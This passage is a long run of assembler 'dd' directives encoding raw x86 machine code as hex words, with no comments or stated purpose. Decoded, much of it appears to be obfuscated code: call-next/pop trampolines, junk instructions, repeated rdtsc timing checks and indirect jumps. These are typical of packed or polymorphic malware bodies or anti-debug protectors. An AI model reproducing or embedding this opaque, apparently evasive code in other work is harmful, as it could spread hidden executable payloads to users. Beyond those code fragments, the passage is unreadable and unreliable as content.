		dd 7E924A9h, 50C4B390h,	0B490BF66h, 0A19D2990h,	6A07E922h
		dd 8FBB6600h, 51BD8BF7h, 6807E92Bh, 365C052Ah, 13860F60h
		dd 0E9000000h, 0Eh, 0A02CBD53h,	7E045FCh, 8A8BBDC0h, 0B9665356h
		dd 816152E9h, 6D52434h,	8D0F3643h, 0Ah,	5E9h, 3A459E00h
		dd 95FFF78Fh, 7E902D9h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Dh, 80C35343h, 43F6AA6h, 0DB5A241Ah, 7E9B8h
		dd 0AA8C0000h, 0FD2CC835h, 858589F8h, 8B07ECD7h, 0EE9DEh
		dd 52A90000h, 0A05B7932h, 79DF8355h, 0F31EF40Eh, 1D9E9h
		dd 6890F00h, 1000000h, 0E9353DBDh, 7D858B07h, 6A07ECD7h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1D042444h
		dd 45000000h, 0D676C355h, 431AFD46h, 23B7ED62h,	11E860FCh
		dd 6000000h, 0C127CC0Ch, 33B55D49h, 55846EFCh, 48A6BE7Fh
		dd 9D9D8Bh, 805907E9h, 0F61CAE6h, 86h, 1800C700h, 60000000h
		dd 89D8D8Bh, 61F507E9h,	0D781B58Bh, 6A07ECh, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1C0424h, 56460000h, 0D7D491C3h
		dd 94557335h, 0F5206D0h, 683h, 59B50900h, 5F07E902h, 0E30010BBh
		dd 59858B4Dh, 6007E918h, 8166D68Bh, 611E45EEh, 89F8B70Fh
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1804h
		dd 0C3514100h, 2B47F2DAh, 55858B13h, 6A07E90Ch,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1B042444h, 47000000h
		dd 3C1CC357h, 0E9C702EFh, 46890129h, 57006A04h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1404h,	0C3574700h, 4DB3505Ah
		dd 0FF243489h, 0ECD77DB5h, 55006A07h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1404h,	0C3554500h, 9E8ECh, 0D24A0000h
		dd 2A1CBD03h, 66573356h, 5B60BEBFh, 3E5AD568h, 13E918h
		dd 6AAC0000h, 0A5B3D6FDh, 6BE8AED3h, 415DFD1Bh,	0A8660796h
		dd 243481FBh, 1821592Ah, 85858DF5h, 5607ECD7h, 2C399589h
		dd 905F07E9h, 1B35BF66h, 906BB350h, 0DE9h, 0C5108300h
		dd 0D91AF36Eh, 75086E98h, 95FF4797h, 7E902D9h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 1CC35646h, 8746CB81h
		dd 0E96114EEh, 10h, 3D3EA524h, 0B3407F97h, 266CB3EFh, 8314C068h
		dd 22B185C7h, 307E9h, 6A0000h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 140424h, 50400000h, 8589FEC3h, 7E91979h
		dd 0D785BD83h, 0F0007ECh, 4384h, 55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1D04h,	0C3554500h, 2453BA7Bh
		dd 9A1520FDh, 0D5BB899Ah, 8B46EB1Fh, 0E93475BDh, 29E907h
		dd 8B500000h, 0E923C59Dh, 0B5295F07h, 7E907D9h,	110C3050h
		dd 1114400h, 3010E8C1h,	21144h,	5803114Ch, 7504E983h, 5036EBE7h
		dd 110430h, 0C1011164h,	443010E8h, 64000211h, 83580311h
		dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h
		dd 30011164h, 0E9831104h, 0EBE77504h, 6AC08B00h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h
		dd 0E906C350h, 12h, 0CC57E55h, 0F64CD755h, 4128CEBFh, 0A4B94DBBh
		dd 870F9122h, 2, 0BD83D88Bh, 7E922B1h, 87850F03h, 57000004h
		dd 85BD835Bh, 7ECD7h, 478840Fh,	8B660000h, 85B5FFDFh, 5107ECD7h
		dd 7A3DBDBFh, 95FF5F04h, 7E91349h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 15h, 0DEC35646h,	0D88B66C7h, 0D779B58Bh
		dd 10E907ECh, 9E000000h, 3236C5Eh, 415A4ADCh, 4EB5A675h
		dd 0C751FFD7h, 1000106h, 51006A00h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1904h, 0C3514100h, 4027654Eh, 9D8B14CBh
		dd 7E93585h, 0B4D9D8Bh,	0BD8B07E9h, 7E92A29h, 11E896h
		dd 30D40000h, 13DFDD18h, 264B5182h, 0B6FEF64Dh,	0E9EAD682h
		dd 11h,	62B01C43h, 0BA5A5DCCh, 521991Ch, 0EABD592Bh, 66505F73h
		dd 6A96FE8Bh, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 15042444h, 47000000h, 0FE5BC357h, 68F0Fh, 8D890000h
		dd 7E92135h, 153D9D8Bh,	0B5FF07E9h, 7ECD785h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0B6C35747h, 16EB8166h
		dd 0B195FF70h, 8107E91Ah, 0DC3EB2DBh, 79B58B6Bh, 8B07ECD7h
		dd 49858BFBh, 0F07E924h, 8D09DBBFh, 7E92FE9h, 0C48689h
		dd 0E9F80000h, 10h, 0F57536A8h,	0BB5E2743h, 0BBE64A60h
		dd 8D23F6A8h, 320D958Bh, 6A07E9h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1A0424h, 55450000h, 92731CC3h, 0AC3C6BEBh
		dd 6A04C283h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 15042444h, 42000000h, 0F30CC352h, 6D858960h,	6107E930h
		dd 0B850Fh, 6E90000h, 7B000000h, 6BAE54A4h, 20508931h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h, 0BDC35141h
		dd 0B1E3853Eh, 0A1858D37h, 8B07ECECh, 0E913CDBDh, 0B8868907h
		dd 9000000h, 0E92F7995h, 6A006A07h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 0BD13C352h
		dd 0CFC2886Ch, 8A3C3924h, 11BD8BD9h, 0FF07E924h, 0ECD785B5h
		dd 57006A07h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1604h
		dd 0C3574700h, 0FC70144Fh, 2CD95FFh, 0BD8907E9h, 7E91D81h
		dd 7CC8BF96h, 66507998h, 6A96FB8Bh, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 18042444h, 40000000h, 742EC350h
		dd 606855AFh, 0CB19D29h, 0BF0F07E9h, 8D3161F8h,	7E9151Dh
		dd 85B5FFFCh, 0E807ECD7h, 8, 0F057B7B1h, 300A3A7Eh, 0FF5BFD8Ah
		dd 0E9302D95h, 219D8B07h, 8307E91Fh, 0E91EC9BDh, 840F0007h
		dd 9Ah,	0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h
		dd 2EC35646h, 6329EBE8h, 26199D0Bh, 0BE807E9h, 75000000h
		dd 0CCD7D5h, 8AAC5E5Eh,	0BD315021h, 7E916A5h, 0DABF0F5Bh
		dd 0E810F96h, 50000000h, 0F616052h, 8C0F31h, 5A000000h
		dd 13E85058h, 7000000h,	2F4BE88Eh, 2CA339D5h, 6BA0910Eh
		dd 47E7BC93h, 12E97506h, 83000000h, 7C333597h, 0BCC6E63Fh
		dd 26C82F28h, 64ACA07Ch, 0E8965F5Ch, 7,	0CF400BD2h, 8B7ED432h
		dd 0E93025BDh, 0B5FF5F07h, 7ECD785h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 17h, 0E3C35646h,	916E14Fh, 0E9158585h
		dd 0C5BD8B07h, 0FF07E915h, 0E91F9D95h, 56006A07h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h
		dd 9530E71Fh, 3EAE31BBh, 8D89ED70h, 7E93121h, 0D785B5FFh
		dd 6A07ECh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h
		dd 56460000h
		dd 7A5221C3h, 666D024Dh, 8B57B816h, 0E902EDBDh,	0BD015B07h
		dd 7E93569h, 13995FFh, 0BD8B07E9h, 7E90859h, 29CDBD83h
		dd 0F0207E9h, 3D84h, 3DB58900h,	8B07E92Ch, 0E9087585h
		dd 81BD2B07h, 0C607E920h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1A0424h, 55450000h, 0E4B594C3h, 5F116971h
		dd 221DBD8Bh, 85C707E9h, 7E924ADh, 0
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 86C35242h
		dd 0A978AFE1h, 0F993FA93h, 21C9B589h, 0B6E907E9h, 6AFFFFF2h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1C042444h
		dd 42000000h, 0B87EC352h, 760074E9h, 89BDBA05h,	0E90C75BDh
		dd 11E907h, 35D20000h, 0D6C6B080h, 0C2F92816h, 0F8F4296h
		dd 8BCF83C5h, 359D23C1h, 8D07E92Eh, 0E9086185h,	51006A07h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1904h, 0C3514100h
		dd 0EDB43C13h, 66608A89h, 60A41DB8h, 0F77EC181h, 0BF0F08F1h
		dd 506161DFh, 52506060h, 585A310Fh, 61DA8B66h, 0AE860h
		dd 92750000h, 0A1D45BCDh, 0A3A059C4h, 8961615Ah, 6A2404h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h
		dd 7D5C16C3h, 3B1A0516h, 0BD236F3Fh, 7E92CA1h, 6A006Ah
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h
		dd 0F7E537C3h, 6A006Ah,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 180424h, 53430000h, 0E3C72CC3h, 8DF91CFBh, 0EDEDD285h
		dd 6820F07h, 89000000h,	0E9106985h, 5C08307h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 48C35747h, 0D0B01AF8h
		dd 0CC6ED4A2h, 859D01h,	669007E9h, 50C6F0BBh, 12E8h, 0E943B700h
		dd 7BB5155Dh, 575AF808h, 0C3790A1Dh, 50869D78h,	0E0BB6652h
		dd 50310F74h, 5A310F52h, 5F585A58h, 51006A90h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1904h,	0C3514100h, 0BDD876BDh
		dd 6AF89153h, 8D8B6000h, 7E90F51h, 61F88B66h, 6AFFBF0Fh
		dd 0FEB70F00h, 0FB995FFh, 6A07E9h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 160424h, 55450000h, 9BEEDFC3h, 28E0Fh, 0DA8B0000h
		dd 0D72C8D8Dh, 6A07ECh,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 170424h, 55450000h, 9B4E31C3h, 0D1BD89A4h, 0FF07E91Ch
		dd 2820FD1h, 8B000000h,	69BD83DAh, 107E91Bh, 0AE850Fh
		dd 13E90000h, 39000000h, 0C75E1BB6h, 571BB5B5h,	4A4F6674h
		dd 0FA0C142Bh, 3509736h, 0E9130DBDh, 26A5B07h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 18h, 2CC35040h, 88D076A5h
		dd 0C8C0Fh, 890F0000h, 6, 2225BD8Bh, 569007E9h,	68F0Fh
		dd 52500000h, 585A310Fh, 0AE8505Bh, 7F000000h, 304B7BEEh
		dd 0DC748509h, 0F838BF05h, 905B11B7h, 0F9F8B70Fh, 2CD95FFh
		dd 6A07E9h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h
		dd 53430000h, 0E733E6C3h, 0AB373C84h, 0DB81EFB1h, 4794DB90h
		dd 0E60E9h, 0E800h, 815D0000h, 0EDEDDCEDh, 52006A07h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1504h, 0C3524200h
		dd 6AB408h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h
		dd 57470000h, 397C15C3h, 840F7324h, 6, 2AE5BD29h, 0B70F07E9h
		dd 6858DFFh, 8907ECB4h,	0E9108185h, 45BF5007h, 893FD0B1h
		dd 0FF642404h, 35h, 50006A00h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1904h, 0C3504000h, 69C868BEh, 896467EAh
		dd 25h,	0CEDB8000h, 0F9D85FFh, 6A07E9h,	3E853h,	5B200000h
		dd 5C895BC3h, 44810424h, 170424h, 53430000h, 89F8ADC3h
		dd 6ADE8B2Fh, 0F5CF81FFh, 0FF7CA0C8h, 0E90E1DB5h, 51006A07h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1C04h, 0C3514100h
		dd 83DBA38Eh, 0BE032505h, 6840FC2h, 3000000h, 0E92295BDh
		dd 3890F07h, 0F000000h,	95FFDEBFh, 7E9233Dh, 142E9h, 2DBD8B00h
		dd 0B007E90Ch, 0ED8D8900h, 0E607E90Dh, 59958970h, 0E407E913h
		dd 0F1BD2971h, 3C07E922h, 1C830F61h, 81000001h,	0F2FF5AC3h
		dd 0C8B60F1Bh, 5F0DB352h, 6BAh,	0BD8B5700h, 7E91AC5h, 0FC18B5Fh
		dd 0BD23D8BFh, 7E93219h, 304E8C1h, 0E93219BDh, 0E2F76607h
		dd 3840Fh, 8B660000h, 0FC82BDEh, 1786h,	880F6000h, 0
		dd 9E8h, 0FCB48D00h, 0C33A4199h, 61591233h, 8D29D18Bh
		dd 7E9161Dh, 0B6E9h, 41BD0900h,	8B07E90Bh, 885h, 8D896000h
		dd 7E91EEDh, 1D299509h,	836107E9h, 0C08307C0h, 55BD8B00h
		dd 3B07E90Fh, 17830FD0h, 0F000000h, 68Eh, 0F1958900h, 0E907E92Fh
		dd 77h,	23ED8529h, 8D8B07E9h, 0FFFFFFFFh, 0EE8h, 0CCD9D00h
		dd 0AB3E6BDDh, 503F560Eh, 8B675A68h, 0E1835BDEh, 4C840F01h
		dd 66000000h, 0E596C381h, 0EE95660h, 0F3000000h, 5575968Fh
		dd 0CF825986h, 0B9B5C3E4h, 83615A7Ch, 0FFFFFFA5h, 0CE9FEFFh
		dd 0E9000000h, 0C902D1F9h, 778DD969h, 89FE765Bh, 895h
		dd 8E900h, 0D2B90000h, 0FE170D90h, 0E998E5h, 8D000000h
		dd 0ED6D6DB5h, 2D8D8907h, 6A07E918h, 12E900h, 97FF0000h
		dd 5C797D11h, 0E9D643AEh, 3F58B12Ah, 10D239A2h,	0C3195FFh
		dd 9D8B07E9h, 7E90939h,	0F09B9h, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1504h,	0C3574700h, 0E860650Bh
		dd 13h,	6B431990h, 8A43C2B4h, 7EE9E2FEh, 2AECADF1h, 606C88C6h
		dd 0F28B5861h, 0E183F961h, 66FCF8FCh, 0B80838BFh, 0
		dd 23C98D89h, 0D22B07E9h, 899D89F8h, 0AD07E901h, 0E8D1C233h
		dd 0E983D003h, 6AF47504h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 17042444h, 41000000h, 9809C351h, 6A89BEh
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h
		dd 0C701F7C3h, 5227477Eh, 8166A3F0h, 0DE9CACFh,	88h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 4C35646h, 20A38DCDh
		dd 0BE9F57Bh, 0A4000000h, 9EBACC11h, 0BBAAF24Fh, 958BD05Ch
		dd 7E9320Dh, 9E9h, 0A2160000h, 0B7498BAAh, 8D8B7F5Fh, 7E922E5h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 76C35747h
		dd 884CB1F6h, 6DBD2922h, 6007E930h, 959858Bh, 0E88007E9h
		dd 8B5061C1h, 3188BC2h,	8B188BC1h, 3E8D1C1h, 58188BC2h
		dd 68A0Fh, 9D890000h, 7E91CB5h,	1CA9BD01h, 0BD8307E9h
		dd 7E91C2Dh, 8A840F00h,	0F9000000h, 0B8h, 52006A00h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1B04h, 0C3524200h
		dd 0E2F80056h, 0D25E2C53h, 68D0Fh, 95010000h, 7E9259Dh
		dd 4D5A8D8Dh, 6A07E9h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 150424h, 52420000h, 0FF7D6DC3h, 52006AE1h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1B04h,	0C3524200h, 16C32F69h
		dd 17E59733h, 51B58B60h, 6607E92Fh, 8A57D781h, 0B1BD8361h
		dd 7E922h, 4F2840Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1A0424h, 53430000h, 0EE7123C3h, 6BE94995h
		dd 22B1BD83h, 0F0107E9h, 4DE84h, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1504h,	0C3524200h, 0BD8942ECh
		dd 7E91341h, 27DBBB66h,	22B1BD83h, 0F0307E9h, 47486h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1804h, 0C3554500h
		dd 0C48CD458h, 558D315Ah, 6007E91Eh, 0DE9h, 5E2DAD00h
		dd 2E2EAEA1h, 0C085DDAEh, 8C66474Bh, 69BD0BD9h,	8007E91Fh
		dd 6A04E1h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h
		dd 51410000h, 818E1EC3h, 0FC90A4Ah, 19C84h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1B04h, 0C3534300h
		dd 23EB028h, 0A7E75C40h, 60FBB70Fh, 5E984B4h, 8000000h
		dd 8A979267h, 55858B61h, 6A07E90Ch, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 15042444h, 40000000h, 0FDF3C350h
		dd 16E1BD89h, 810F07E9h, 6, 0F259D8Bh, 853307E9h, 7E91CE9h
		dd 3419589h, 509007E9h,	310F5250h, 4810Fh, 0BF660000h
		dd 585A9CF6h, 31BB6690h, 29006A99h, 0E91FC9BDh,	4E807h
		dd 3FF0000h, 0F60001Fh,	283h, 0F5A5300h, 0D8Fh,	8E900h
		dd 0FEA80000h, 8CC32D70h, 5061D985h, 14E8h, 3879B00h, 6D101B20h
		dd 28AFD17Ch, 0F14A7DA8h, 0BEF7F3C1h, 0D98B66EEh, 24448B5Bh
		dd 0AE86004h, 34000000h, 4C171B75h, 31BE10B6h, 5AD08B5Bh
		dd 0C4B45250h, 40BA310Fh, 5A12645Ah, 8B6158h, 880F5250h
		dd 6, 8B0Fh, 310F0000h,	585A1BB3h, 4244489h, 8E241ABBh
		dd 6A581Dh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h
		dd 52420000h, 0AFEA61C3h, 70A636EBh, 0FF552965h, 0E902D995h
		dd 50006A07h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1804h
		dd 0C3504000h, 0BA6D6E97h, 89F88B55h, 0ECD78585h, 55006A07h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1904h, 0C3554500h
		dd 3B5CD4E8h, 0CE94B69h, 8B000002h, 0E92A29BDh,	7D858B07h
		dd 0F07ECD7h, 0C7F9BFh,	18h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 18h, 0EAC35343h,	469264FAh, 0FA8ADA8Bh
		dd 0D781B58Bh, 9D0107ECh, 7E90C19h, 1859858Bh, 6A07E9h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 170424h, 50400000h
		dd 6072F2C3h, 0CA0BB9Bh, 6E84A98h, 0DE000000h, 0B8A9DF33h
		dd 96F8BBEAh, 895F1237h, 299D8B06h, 8B07E901h, 0E90C5585h
		dd 0EDBD3107h, 8907E90Eh, 6A0446h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1B0424h, 50400000h, 1C1973C3h, 0B0024EA6h
		dd 0B58529E8h, 5007E924h, 19800Fh, 0FE80000h, 90000000h
		dd 1527E025h, 5638E797h, 0BCBDE331h, 0BF6640E9h, 895F9D59h
		dd 6A2434h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h
		dd 52420000h, 0B70972C3h, 880F609Fh, 5,	58E28166h, 0F6BF0FC0h
		dd 3D9D8961h, 0FF07E91Fh, 0ECD77DB5h, 0FBBF0F07h, 4E8h
		dd 1F03FF00h, 5820F00h,	0BF000000h, 7EB803F9h, 0BB35BB50h
		dd 448B4A2Eh, 8E0F0424h, 3, 8BF98B66h, 35F3BB00h, 448904C4h
		dd 6A580424h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1B042444h, 42000000h, 0EBDBC352h, 0D6DD392h,	858D4612h
		dd 7ECD785h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Dh,	7EC35242h, 0D605DA81h, 74B5240Bh, 60BB660Ch, 35BD8B12h
		dd 5007E92Fh, 0B0651BBFh, 2404892Bh, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 19h, 5EC35343h, 476B64D9h, 658D89CAh
		dd 0FF07E931h, 0E902D995h, 52006A07h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1604h,	0C3524200h, 0F56BCD4h
		dd 688h, 919D8B00h, 6107E924h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 17h, 9FC35141h, 0C7933734h, 0E922B185h
		dd 307h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1404h, 0C3524200h, 85BD8324h, 7ECD7h, 13840Fh, 0C2B30000h
		dd 2EE98501h, 21E907E9h, 89000000h, 0E919CDBDh,	0C305007h
		dd 11440011h, 10E8C101h, 2114430h, 3114C00h, 4E98358h
		dd 36EBE775h, 11043050h, 1116400h, 3010E8C1h, 21144h, 58031164h
		dd 7504E983h, 501BEBE7h, 2810E8C1h, 30031164h, 58021144h
		dd 1116428h, 83110430h,	0E77504E9h, 0C08B00EBh,	1B71B589h
		dd 9E907E9h, 47000000h,	356C38BDh, 77CDF67Ah, 22B1BD83h
		dd 0F0307E9h, 45585h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1904h, 0C3564600h, 543E2A14h, 0BD83EB08h
		dd 7ECD785h, 27840F00h,	6A000004h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 7F6FC352h
		dd 0F0979828h, 85B5FF3Eh, 0F507ECD7h, 134995FFh, 0D3BB07E9h
		dd 8B785D01h, 0ECD779B5h, 0FEB70F07h, 106C7h, 6A0001h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h
		dd 0BF669CC3h, 6650AE46h, 3489D88Bh, 53006A24h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1D04h,	0C3534300h, 0F8A325E5h
		dd 30F4982Fh, 0DE8BC078h, 0B5FFC8B3h, 7ECD785h,	0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0E9C35646h, 95899BDEh
		dd 7E92081h, 1AB195FFh,	0BF0F07E9h, 79B58BFFh, 0B307ECD7h
		dd 0A5858922h, 8B07E90Ch, 0E9244985h
		dd 50006A07h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1A04h
		dd 0C3504000h, 8553517Ah, 316A05A6h, 0E92ED99Dh, 0C19D8B07h
		dd 8B07E921h, 0E91599BDh, 0C4868907h, 8B000000h, 0E919B19Dh
		dd 0D958B07h, 6A07E932h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1D042444h, 40000000h, 0C52BC350h,	75EC4617h
		dd 5F2B7363h, 2441BD89h, 9D8B07E9h, 7E916A9h, 6A04C283h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 19042444h
		dd 40000000h, 651FC350h, 8871557Eh, 6A205089h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h
		dd 38C7C356h, 0E534C536h, 9E9h,	350E6800h, 23E5EBD4h, 858D8F0Ah
		dd 7ECECA1h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 14h,	82C35646h, 21A18D89h, 868907E9h, 0B8h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 59C35242h, 0F006A4Fh
		dd 0B5FFD8BFh, 7ECD785h, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 1Ch, 4AC35545h, 605CAB74h,	0EF1CF025h, 0B2D8529h
		dd 9D8B07E9h, 7E91D0Dh,	2CD95FFh, 6A07E9h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 170424h, 51410000h, 9C5DC6C3h
		dd 518D09F5h, 8107E92Fh, 0ECF5AFDFh, 13E952h, 0E5890000h
		dd 0D2991FE9h, 8E5D18B0h, 0E61ADE06h, 0DFF242CBh, 8E0F96DEh
		dd 2, 0BB50D88Ah, 1A3B9F03h, 51006A96h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1504h,	0C3514100h, 0BD8B182Ch
		dd 7E9298Dh, 0D785B5FFh, 9D8907ECh, 7E9055Dh, 302D95FFh
		dd 0B58907E9h, 7E90055h, 1EC9BD83h, 0F0007E9h, 3C84h, 3870F00h
		dd 0F000000h, 0F50DAB7h, 486h, 55BB6600h, 24348955h, 19830Fh
		dd 0DE80000h, 0E0000000h, 7DFE5F70h, 7CFA9270h,	0E7769234h
		dd 23D9529h, 8B5B07E9h,	0E92E599Dh, 85B5FF07h, 6A07ECD7h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 18042444h
		dd 40000000h, 0F79AC350h, 0FFAD8DDFh, 0E91F9D95h, 50006A07h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1504h, 0C3504000h
		dd 89607D72h, 0E91AFD8Dh, 2880F07h, 60000000h, 0B5FF6161h
		dd 7ECD785h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 17h,	8CC35040h, 0FFFC3691h, 0E9013995h, 8E807h, 0B200000h
		dd 984BA37Eh, 9D0B4160h, 7E90E19h, 820F535Bh, 6, 13919D8Bh
		dd 835F07E9h, 0E929CDBDh, 840F0207h, 59h, 0E856006Ah, 3
		dd 5EC35E20h, 4247489h,	4244481h, 1Dh, 44C35646h, 7BA8E6F9h
		dd 0B13B44BDh, 0DAB70F1Fh, 875858Bh, 6A07E9h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 0F838E9C3h
		dd 1DB2E0EAh, 14D8D09h,	0C607E9h, 0AD85C700h, 7E924h, 50000000h
		dd 132F6BFh, 98E95B71h,	0FCFFFFF2h, 6AC18Bh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 140424h, 51410000h, 0BB661AC3h
		dd 0AE99171h, 14000000h, 0E194C4D6h, 4EF7836Dh,	61858D81h
		dd 6A07E908h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 17042444h, 47000000h, 9DEEC357h, 89563AECh, 0E925A59Dh
		dd 0E8905B07h, 14h, 1D438B54h, 0B3AA3A1Eh, 0BED8E139h
		dd 925C1DC9h, 7B541F0Eh, 0BB7EB360h, 34560276h,	57505F61h
		dd 9D03905Bh, 7E93021h,	6A006Ah, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 180424h, 53430000h, 0E0D0DEC3h, 0BD8B77D8h
		dd 7E92075h, 6A006Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1B0424h, 57470000h, 8DBDFAC3h, 0D1600813h, 14E8CBh
		dd 0D1E00000h, 2733A64Bh, 0C5FC20CEh, 0E00F04D2h, 3F87B761h
		dd 0B70F3E5Bh, 880F5FDBh, 6, 2A79BD23h,	858D07E9h, 7EDFE9Dh
		dd 6D7A48BBh, 0D1BE602Fh, 6040135Eh, 2125B58Bh,	45B807E9h
		dd 617BD5E8h, 5C08361h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 14h, 0A0C35747h, 88A0F50h,	0F000000h, 28Ch
		dd 89616000h, 6A2404h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 170424h, 57470000h, 735F9BC3h, 12E967h, 0F38D0000h
		dd 6F1A5163h, 205BF983h, 9E09CB03h, 612C8C9Ch, 6A006Ah
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h
		dd 91EFA1C3h, 30618397h, 5E9CFh, 0A6EE0000h, 6A5FD8F8h
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1404h
		dd 0C3524200h, 0BF0F5183h, 95895BF8h, 7E900ADh,	0FB995FFh
		dd 6A07E9h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h
		dd 52420000h, 8D8DD5C3h, 7ECD72Ch, 0BBD1FFF8h, 5D276CB8h
		dd 1B69BD83h, 0F0107E9h, 7A85h,	57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1B04h,	0C3574700h, 8E65AFC4h
		dd 7B2E251Eh, 6AD88B66h, 0BD958902h, 9007E909h,	5E8h, 0E60F5A00h
		dd 890F3816h, 0Ah, 5E9h, 0F81CD00h, 505BAA27h, 55006A90h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1A04h, 0C3554500h
		dd 0C2910005h, 0FF6AF3BEh, 0E902CD95h, 0C1BD8907h, 0E907E919h
		dd 0F2Bh, 0E8h,	0ED815D00h, 7EDFEA7h, 0E857006Ah, 3, 5FC35F20h
